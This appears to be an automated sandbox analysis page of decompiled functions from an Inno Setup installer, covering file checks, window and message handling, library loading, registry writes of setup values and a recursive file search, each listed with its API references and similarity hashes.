Instruction Fuzzy Hash: BAF09020704244AFDB00DBA9ACA3B9B7799D740304F20807BF6458B252D7B9AE00E71C

Uniqueness

Uniqueness Score: -1.00%

Function 0046E560 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0046E560(void* __edx, intOrPtr _a4) {
				void* _t11;
				intOrPtr _t14;
				void* _t17;

				_t11 = CreateFileA(E00403750( *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) - 0x1c))), 0xc0000000, 0, 0, 1, 0x80, 0); // executed
				_t17 = _t11;
				if(_t17 == 0xffffffff) {
					E00451868("CreateFile");
				}
				CloseHandle(_t17);
				_t14 =  *((intOrPtr*)(_a4 + 8));
				 *((char*)(_t14 - 0x21)) = 1;
				return _t14;
			}

0x0046e585
0x0046e58a
0x0046e58f
0x0046e596
0x0046e596
0x0046e59c
0x0046e5a4
0x0046e5a7
0x0046e5ad

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0046E797), ref: 0046E585
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,0046E797), ref: 0046E59C

Part of subcall function 00451868: GetLastError.KERNEL32(00000000,0045227D,00000005,00000000,004522B2,?,?,00000000,0048F628,00000004,00000000,00000000,00000000,?,0048D561,00000000), ref: 0045186B

Strings

CreateFile, xrefs: 0046E591

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: CreateFile
API String ID: 2528220319-823142352
Opcode ID: 7e49f0ec05b913c1270275b532bba97d9194592626b8a826397ab3218715937c
Instruction ID: 7637e90ee4508d20334fb04ab3d6cd326067355bb1d9238a2a1584f6934d9362
Opcode Fuzzy Hash: 7e49f0ec05b913c1270275b532bba97d9194592626b8a826397ab3218715937c
Instruction Fuzzy Hash: 80E06D74240304BBE610FA6ADCC6F4977889B04728F108151FA45AF3E2D5B9EC40865D

Uniqueness

Uniqueness Score: -1.00%

Function 004062F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062F8(CHAR* __eax, long __ecx, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32) {
				struct HWND__* _t10;

				_t10 = CreateWindowExA(0, __eax, __edx, __ecx, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				return _t10;
			}

0x00406321
0x00406328

APIs

CreateWindowExA.USER32 ref: 00406321

Strings

`6B, xrefs: 00406304, 00406307
TApplication, xrefs: 0040631E

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateWindow
String ID: TApplication$`6B
API String ID: 716092398-1000121149
Opcode ID: 864af0be76aa79f683fb891a6989ac97326493c7108e11645e767f356e92afcf
Instruction ID: 9d2fd7d54d38cc8ecaaa5d0cbba53bdf20c97294be50a81d49070602afc72c8f
Opcode Fuzzy Hash: 864af0be76aa79f683fb891a6989ac97326493c7108e11645e767f356e92afcf
Instruction Fuzzy Hash: 56E002B2214309BFDB00DE8ADCC1DABB7ACFB4C754F844105BB1C972428275AD608B75

Uniqueness

Uniqueness Score: -1.00%

Function 00466AB8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00466AB8() {
				struct HINSTANCE__* _t2;
				_Unknown_base(*)()* _t3;
				void* _t4;

				_t2 = E0042E1B8("shell32.dll", _t4, 0x8000); // executed
				_t3 = GetProcAddress(_t2, "SHPathPrepareForWriteA");
				 *0x48ff48 = _t3;
				return _t3;
			}

0x00466ac7
0x00466acd
0x00466ad2
0x00466ad7

APIs

Part of subcall function 0042E1B8: SetErrorMode.KERNEL32(00008000), ref: 0042E1C2
Part of subcall function 0042E1B8: LoadLibraryA.KERNEL32(00000000,00000000,0042E20C,?,00000000,0042E22A,?,00008000), ref: 0042E1F1

GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 00466ACD

Strings

shell32.dll, xrefs: 00466AC2
SHPathPrepareForWriteA, xrefs: 00466AB8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressErrorLibraryLoadModeProc
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2492108670-2683653824
Opcode ID: a49ab50e3c92eb79af116b047a27e43c0d5b6cdb67c912947c5a5db2deec9b3e
Instruction ID: 3b12803c986d28e39ac3ad1b4be314fd09e1afeb8d871b5ab1e3610ada41a384
Opcode Fuzzy Hash: a49ab50e3c92eb79af116b047a27e43c0d5b6cdb67c912947c5a5db2deec9b3e
Instruction Fuzzy Hash: F3B092B064061462DA00A7A65802B2A2014D793705B61C47FB140BE2D6EEBC84448B1E

Uniqueness

Uniqueness Score: -1.00%

Function 004243E0 Relevance: 4.6, APIs: 3, Instructions: 59
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004243E0(void* __eax) {
				struct tagMSG _v36;
				int _t16;
				int _t32;
				void* _t39;
				char* _t40;

				_t40 =  &(_v36.message);
				_t39 = __eax;
				_t32 = 0;
				_t16 = PeekMessageA( &_v36, 0, 0, 0, 1); // executed
				if(_t16 != 0) {
					_t32 = 1;
					if(_v36.message == 0x12) {
						 *((char*)(_t39 + 0x7c)) = 1;
					} else {
						 *_t40 = 0;
						if( *((short*)(_t39 + 0x96)) != 0) {
							 *((intOrPtr*)(_t39 + 0x94))();
						}
						if(E004243B0(_t39,  &_v36) == 0 &&  *_t40 == 0 && E004242FC(_t39,  &_v36) == 0 && E0042434C(_t39,  &_v36) == 0 && E004242D8(_t39,  &_v36) == 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36); // executed
						}
					}
				}
				return _t32;
			}

0x004243e2
0x004243e5
0x004243e7
0x004243f6
0x004243fd
0x00424403
0x0042440a
0x00424484
0x0042440c
0x0042440c
0x00424418
0x00424426
0x00424426
0x00424439
0x00424473
0x0042447d
0x0042447d
0x00424439
0x0042440a
0x0042448f

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 004243F6
TranslateMessage.USER32(?), ref: 00424473
DispatchMessageA.USER32 ref: 0042447D

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: b2329071a0421c93ee0ae4663caf12f13090b6ca3a07c5a35a5c46be63036eea
Instruction ID: fe8500af1bfcf242036ade45f780a381a823919f587051acc2528fd242358d38
Opcode Fuzzy Hash: b2329071a0421c93ee0ae4663caf12f13090b6ca3a07c5a35a5c46be63036eea
Instruction Fuzzy Hash: 0911943030431056EA20F665AD4179B73D8DFC1754F81885EF88997382D77D9D4987AA

Uniqueness

Uniqueness Score: -1.00%

Function 00416628 Relevance: 4.5, APIs: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416628(void* __eax) {
				int _t7;
				void* _t19;
				void* _t22;
				intOrPtr _t23;

				_t7 = __eax;
				_t19 = __eax;
				if( *(__eax + 0xc0) == 0) {
					 *((intOrPtr*)( *__eax + 0x64))();
					_t22 = __eax;
					SetPropA( *(__eax + 0xc0),  *0x48f5c8 & 0x0000ffff, __eax);
					_t7 = SetPropA( *(_t19 + 0xc0),  *0x48f5c6 & 0x0000ffff, _t22);
					_t23 =  *((intOrPtr*)(_t19 + 0x20));
					_t25 = _t23;
					if(_t23 != 0) {
						return SetWindowPos( *(_t19 + 0xc0), E004165E0(_t23, _t19, _t25), 0, 0, 0, 0, 0x13);
					}
				}
				return _t7;
			}

0x00416628
0x0041662a
0x00416633
0x00416639
0x0041663c
0x0041664e
0x00416663
0x00416668
0x0041666b
0x0041666d
0x00000000
0x0041668a
0x0041666d
0x00416691

APIs

SetPropA.USER32 ref: 0041664E
SetPropA.USER32 ref: 00416663
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 0041668A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Prop$Window
String ID:
API String ID: 3363284559-0
Opcode ID: f44c3f3a62ce55b1375bc8ee214f0b6504ba97b5043b7db0174100bcb2b45bbb
Instruction ID: be00217531a54bd36177c605ea93c3a6d25e3d0009ae87a2c8918f37a7e5dcde
Opcode Fuzzy Hash: f44c3f3a62ce55b1375bc8ee214f0b6504ba97b5043b7db0174100bcb2b45bbb
Instruction Fuzzy Hash: 2DF01271741210BBDB10AF598C85FA632DCAB09705F16017ABE09EF286D678DC44C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041EE38 Relevance: 4.5, APIs: 3, Instructions: 27
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EE38(void* __edx, struct HWND__* _a4) {
				intOrPtr* _t7;
				struct HWND__* _t9;
				intOrPtr _t11;
				void* _t12;

				_t9 = _a4;
				_t12 = _t9 -  *0x48e580; // 0x0
				if(_t12 != 0 && IsWindowVisible(_t9) != 0 && IsWindowEnabled(_t9) != 0) {
					_t7 = E00402648(8);
					_t11 =  *0x48e58c; // 0x0
					 *_t7 = _t11;
					 *(_t7 + 4) = _t9;
					 *0x48e58c = _t7;
					EnableWindow(_t9, 0); // executed
				}
				return 1;
			}

0x0041ee3c
0x0041ee3f
0x0041ee45
0x0041ee60
0x0041ee65
0x0041ee6b
0x0041ee6d
0x0041ee70
0x0041ee78
0x0041ee78
0x0041ee83

APIs

IsWindowVisible.USER32 ref: 0041EE48
IsWindowEnabled.USER32(?), ref: 0041EE52
EnableWindow.USER32(?,00000000), ref: 0041EE78

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$EnableEnabledVisible
String ID:
API String ID: 3234591441-0
Opcode ID: e716c41a7aa4c8049a48929a68b54d310266b5fcefed060798fa6e9578af309b
Instruction ID: 45d366e35b91ce2eecdd9f05db0fdf46fffcf4c13ab4eeb186f31cda34d95c06
Opcode Fuzzy Hash: e716c41a7aa4c8049a48929a68b54d310266b5fcefed060798fa6e9578af309b
Instruction Fuzzy Hash: 4AE0EDB55003006AE310AB67DC81A5B779DAB15344F508C3AA80597292EA3AD8819B7C

Uniqueness

Uniqueness Score: -1.00%

Function 00479114 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00479114(void* __eflags, void* __fp0) {
				char _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t6;
				intOrPtr _t7;
				intOrPtr _t9;
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t14;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t22;
				intOrPtr _t30;
				void* _t31;
				void* _t33;
				intOrPtr _t36;

				_t40 = __fp0;
				_push(_t20);
				_push(_t33);
				_push(_t31);
				_t22 =  *0x48f628; // 0x22f2410
				_t6 = E00461C80(_t20, _t22, 1, _t31, _t33, __fp0); // executed
				 *0x48ff3c = _t6;
				_t38 =  *0x49027c;
				if( *0x49027c != 0) {
					_push( *[fs:eax]);
					 *[fs:eax] = _t36;
					_v12 = 0;
					_v8 = 0xb;
					_t17 =  *0x49027c; // 0x2329f3c
					E0048A06C(_t17,  &_v12, "InitializeWizard", _t38, __fp0, 0, 0);
					_pop(_t30);
					_t22 = 0x479174;
					 *[fs:eax] = _t30;
				}
				_t7 =  *0x48ff3c; // 0x23415cc
				E00464DF4(_t7, _t22, 1, _t38, _t40);
				if( *0x49022d != 0) {
					_t9 =  *0x48ff3c; // 0x23415cc, executed
					_t10 = E004668E4(_t9, _t20, _t22, _t31, _t33); // executed
				} else {
					_t11 =  *0x48f628; // 0x22f2410
					SetActiveWindow( *(_t11 + 0x20));
					_t14 =  *0x48ff3c; // 0x23415cc
					_t10 = E00422DE8(_t14);
				}
				return _t10;
			}

0x00479114
0x0047911a
0x0047911b
0x0047911c
0x0047911d
0x0047912a
0x0047912f
0x00479134
0x0047913b
0x00479145
0x00479148
0x00479151
0x00479154
0x00479160
0x00479165
0x0047916c
0x0047916e
0x0047916f
0x0047916f
0x00479192
0x00479197
0x004791a3
0x004791bf
0x004791c4
0x004791a5
0x004791a5
0x004791ae
0x004791b3
0x004791b8
0x004791b8
0x004791cf

APIs

SetActiveWindow.USER32(?), ref: 004791AE

Strings

InitializeWizard, xrefs: 0047915B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ActiveWindow
String ID: InitializeWizard
API String ID: 2558294473-2356795471
Opcode ID: 57611f42c3416122a4402072e9621813f5d5dab4b8327b55e79151a0bfdc68de
Instruction ID: 3bd5c684822a03ea4ac8640b9a5413307144f1a036ebadd8ed94fa804e8e7497
Opcode Fuzzy Hash: 57611f42c3416122a4402072e9621813f5d5dab4b8327b55e79151a0bfdc68de
Instruction Fuzzy Hash: C1118E302042009FE700EB69EC49B9A77E4E79A328F60887BE504C72A1EA796C55CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00473990 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00473990(void* __eax, void* __edx, void* __eflags) {
				void* _v8;
				void* __ecx;
				void* _t7;
				long _t13;
				void* _t17;
				void* _t24;

				_t24 = _t17;
				_t7 = E0042DC1C(__eax, "Software\\Microsoft\\Windows\\CurrentVersion", 0x80000002,  &_v8, 1, 0); // executed
				if(_t7 != 0) {
					return E00403418(_t24);
				}
				if(E0042DB4C() == 0) {
					E00403418(_t24);
				}
				_t13 = RegCloseKey(_v8); // executed
				return _t13;
			}

0x00473997
0x004739b1
0x004739b8
0x00000000
0x004739de
0x004739c8
0x004739cc
0x004739cc
0x004739d5
0x00000000

APIs

Part of subcall function 0042DC1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,00473BD6,00000000,00473D10), ref: 004739D5

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004739A5

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseOpen
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 47109696-1019749484
Opcode ID: 96f158e785a8a79892ff0bb56e5dae33f27c1a6076e79d69693433bda0b48a2c
Instruction ID: 3803dda61ff1e03f7b4a1e3eab0a0f1fc6a18ace5ddeadb773f84aea70c157ee
Opcode Fuzzy Hash: 96f158e785a8a79892ff0bb56e5dae33f27c1a6076e79d69693433bda0b48a2c
Instruction Fuzzy Hash: 9EF082A27441286BD600A96A9C43BAFA29C8B84755F20407BF648DB242D9EDEE0157AC

Uniqueness

Uniqueness Score: -1.00%

Function 00468C14 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00468C14(void* __eax, void* __ecx, char* __edx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t7;
				long _t11;
				void* _t22;

				_t16 = __ecx;
				_t21 = __edx;
				_t22 = __eax;
				_t7 = E0040358C(__ecx);
				_t11 = RegSetValueExA(_t22, __edx, 0, 1, E00403750(__ecx), _t7 + 1); // executed
				if(_t11 != 0) {
					return E00468AF8(0, _t16,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t21, _t22, 0, _t11);
				}
				return _t11;
			}

0x00468c1a
0x00468c1c
0x00468c1e
0x00468c22
0x00468c37
0x00468c3e
0x00000000
0x00468c4f
0x00468c58

APIs

RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,?,00490044,?,00468E0B,?,00000000,00469235,?,_is1), ref: 00468C37

Strings

Inno Setup: Setup Version, xrefs: 00468C35

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Value
String ID: Inno Setup: Setup Version
API String ID: 3702945584-4166306022
Opcode ID: 5a5d9c005a27806d8962722e26d93860e122acdf38a034df23c627158a68d902
Instruction ID: f4ebb4848459b4250fcbef50f6d72caf48b7ad95609634002a5a75c9b0da781c
Opcode Fuzzy Hash: 5a5d9c005a27806d8962722e26d93860e122acdf38a034df23c627158a68d902
Instruction Fuzzy Hash: 1BE06D713412043BD710EA6E9C85F6BABDCDF883A4F00443AB908EB392D978DD0146A8

Uniqueness

Uniqueness Score: -1.00%

Function 00468C84 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00468C84(void* __eax, char* __edx, intOrPtr _a4) {
				char _v8;
				void* __ecx;
				void* __ebp;
				long _t8;
				void* _t13;
				char _t14;
				void* _t19;
				void* _t20;

				_v8 = _t14;
				_t8 = RegSetValueExA(__eax, __edx, 0, 4,  &_v8, 4); // executed
				if(_t8 != 0) {
					return E00468AF8(0, _t13,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), _t19, _t20, 0, _t8);
				}
				return _t8;
			}

0x00468c88
0x00468c97
0x00468c9e
0x00000000
0x00468caf
0x00468cb6

APIs

RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00490044,00000004,00000001,?,0046918E,?,?,00000000,00469235,?,_is1,?), ref: 00468C97

Strings

NoModify, xrefs: 00468C95

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Value
String ID: NoModify
API String ID: 3702945584-1699962838
Opcode ID: a02c31eddcb2c2fd9a064e2b730804ac8d8a5c2dce8e839ccbf039595d16ba72
Instruction ID: cc30f3f3714627e0fcd4c7bb4f0b5fc4491066ae05f694ea084e9d213b4b617b
Opcode Fuzzy Hash: a02c31eddcb2c2fd9a064e2b730804ac8d8a5c2dce8e839ccbf039595d16ba72
Instruction Fuzzy Hash: 9DE04FB0644308BFEB04DB95CD4AF6B77ACDB48754F10415DBA049B281EA74EE008668

Uniqueness

Uniqueness Score: -1.00%

Function 0042DC1C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042DC1C(void* __eax, char* __ecx, void* __edx, void** _a4, int _a8, int _a12) {
				long _t7;
				char* _t8;
				void* _t9;
				int _t10;

				_t9 = __edx;
				_t8 = __ecx;
				_t10 = _a8;
				if(__eax == 2) {
					_t10 = _t10 | 0x00000100;
				}
				_t7 = RegOpenKeyExA(_t9, _t8, _a12, _t10, _a4); // executed
				return _t7;
			}

0x0042dc1c
0x0042dc1c
0x0042dc20
0x0042dc25
0x0042dc27
0x0042dc27
0x0042dc38
0x0042dc3f

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047A343,?,00000001,?,?,0047A343,?,00000001,00000000), ref: 0042DC38

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DC36

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Windows
API String ID: 71445658-1109719901
Opcode ID: 13cad7d200b120ad5597814079c4f59ec3096416cb1acf233699b236b741948d
Instruction ID: 9b797428c6f186a72a7ba32fee826cdcf23ca6c15d4fdd534b748b65857be3de
Opcode Fuzzy Hash: 13cad7d200b120ad5597814079c4f59ec3096416cb1acf233699b236b741948d
Instruction Fuzzy Hash: F5D092B2910128BB9B109A89DC81EFB77ADDB19360F50842BF90897600C6B4AC519BF4

Uniqueness

Uniqueness Score: -1.00%

Function 0045234C Relevance: 3.2, APIs: 2, Instructions: 190
fileCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0045234C(char __eax, void* __ebx, char __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, signed int _a12, signed int _a16, char _a20) {
				char _v5;
				intOrPtr _v12;
				char _v13;
				char _v14;
				char _v20;
				char _v24;
				void* _v28;
				char _v32;
				struct _WIN32_FIND_DATAA _v352;
				char _v356;
				signed int _t102;
				signed int _t104;
				void* _t110;
				signed int _t123;
				signed int _t132;
				signed int _t138;
				signed int _t161;
				intOrPtr _t176;
				intOrPtr _t185;
				void* _t205;
				void* _t206;
				intOrPtr _t207;

				_t203 = __esi;
				_t202 = __edi;
				_t162 = __ecx;
				_t205 = _t206;
				_t207 = _t206 + 0xfffffea0;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v356 = 0;
				_v20 = 0;
				_v24 = 0;
				_v32 = 0;
				_v13 = __ecx;
				_v12 = __edx;
				_v5 = __eax;
				_push(_t205);
				_push(0x4525e9);
				_push( *[fs:eax]);
				 *[fs:eax] = _t207;
				_v14 = 1;
				if(_a20 == 0) {
					L24:
					__eflags = _v13;
					if(_v13 != 0) {
						__eflags = _a12;
						if(__eflags == 0) {
							_t102 = E00451254(_v5, _v12, __eflags);
							__eflags = _t102;
							if(_t102 == 0) {
								_v14 = 0;
							}
						} else {
							_t104 = _a12();
							__eflags = _t104;
							if(_t104 == 0) {
								_v14 = 0;
							}
						}
					}
					__eflags = 0;
					_pop(_t176);
					 *[fs:eax] = _t176;
					_push(E004525F0);
					E00403418( &_v356);
					E00403418( &_v32);
					return E00403438( &_v24, 2);
				} else {
					_t209 = _v13;
					if(_v13 == 0 || E00451064(_v5, _v12, _t209) != 0) {
						_t211 = _v13;
						if(_v13 == 0) {
							E0042C888(_v12, _t162,  &_v20);
							E004034AC( &_v24, _v12);
						} else {
							E0042C3E0(_v12,  &_v20);
							E004035D8( &_v24, 0x452604, _v20);
						}
						_t110 = E00450EA4(_v5,  &_v352, _v24, _t211); // executed
						_v28 = _t110;
						if(_v28 == 0xffffffff) {
							goto L24;
						} else {
							_push(_t205);
							_push(0x45257f);
							_push( *[fs:eax]);
							 *[fs:eax] = _t207;
							goto L8;
							L22:
							if(FindNextFileA(_v28,  &_v352) != 0) {
								L8:
								E00403574( &_v32, 0x104,  &(_v352.cFileName));
								E0040369C(_v32, 0x452610);
								if(0 != 0) {
									_t123 = E0040369C(_v32, 0x45261c);
									if(0 != 0) {
										_t161 = _v352.dwFileAttributes;
										if((_t161 & 0x00000001) != 0 && (_t123 & 0xffffff00 | (_t161 & 0x00000010) == 0x00000000 | _a16) != 0) {
											E004034AC( &_v356, _v20);
											E00403594( &_v356, _v32);
											E004512CC(_v5, _t161 & 0xfffffffe, _v356, _t161 & 0xfffffffe);
										}
										if((_v352.dwFileAttributes & 0x00000010) != 0) {
											__eflags = _a16;
											if(_a16 != 0) {
												E004034AC( &_v356, _v20);
												E00403594( &_v356, _v32);
												_t132 = E0045234C(_v5, _t161, 1, _v356, _t202, _t203, _a4, _a8, _a12, 1, 1);
												__eflags = _t132;
												if(_t132 == 0) {
													_v14 = 0;
												}
											}
										} else {
											if(_a8 == 0) {
												E004034AC( &_v356, _v20);
												E00403594( &_v356, _v32);
												_t138 = E00450D4C(_v5, _v356, __eflags);
												__eflags = _t138;
												if(_t138 == 0) {
													_v14 = 0;
												}
											} else {
												E004034AC( &_v356, _v20);
												E00403594( &_v356, _v32);
												if(_a8() == 0) {
													_v14 = 0;
												}
											}
										}
									}
								}
								goto L22;
							} else {
								_pop(_t185);
								 *[fs:eax] = _t185;
								_push(E00452586);
								return FindClose(_v28);
							}
						}
					} else {
						goto L24;
					}
				}
			}

0x0045234c
0x0045234c
0x0045234c
0x0045234d
0x0045234f
0x00452355
0x00452356
0x00452357
0x0045235a
0x00452360
0x00452363
0x00452366
0x00452369
0x0045236c
0x0045236f
0x00452374
0x00452375
0x0045237a
0x0045237d
0x00452380
0x00452388
0x00452586
0x00452586
0x0045258a
0x0045258c
0x00452590
0x004525ae
0x004525b3
0x004525b5
0x004525b7
0x004525b7
0x00452592
0x0045259b
0x0045259e
0x004525a0
0x004525a2
0x004525a2
0x004525a0
0x00452590
0x004525bb
0x004525bd
0x004525c0
0x004525c3
0x004525ce
0x004525d6
0x004525e8
0x0045238e
0x0045238e
0x00452392
0x004523a7
0x004523ab
0x004523d0
0x004523db
0x004523ad
0x004523b3
0x004523c3
0x004523c3
0x004523ec
0x004523f1
0x004523f8
0x00000000
0x004523fe
0x00452400
0x00452401
0x00452406
0x00452409
0x00452409
0x00452550
0x00452562
0x0045240c
0x0045241a
0x00452427
0x0045242c
0x0045243a
0x0045243f
0x00452445
0x0045244e
0x00452464
0x00452472
0x00452485
0x00452485
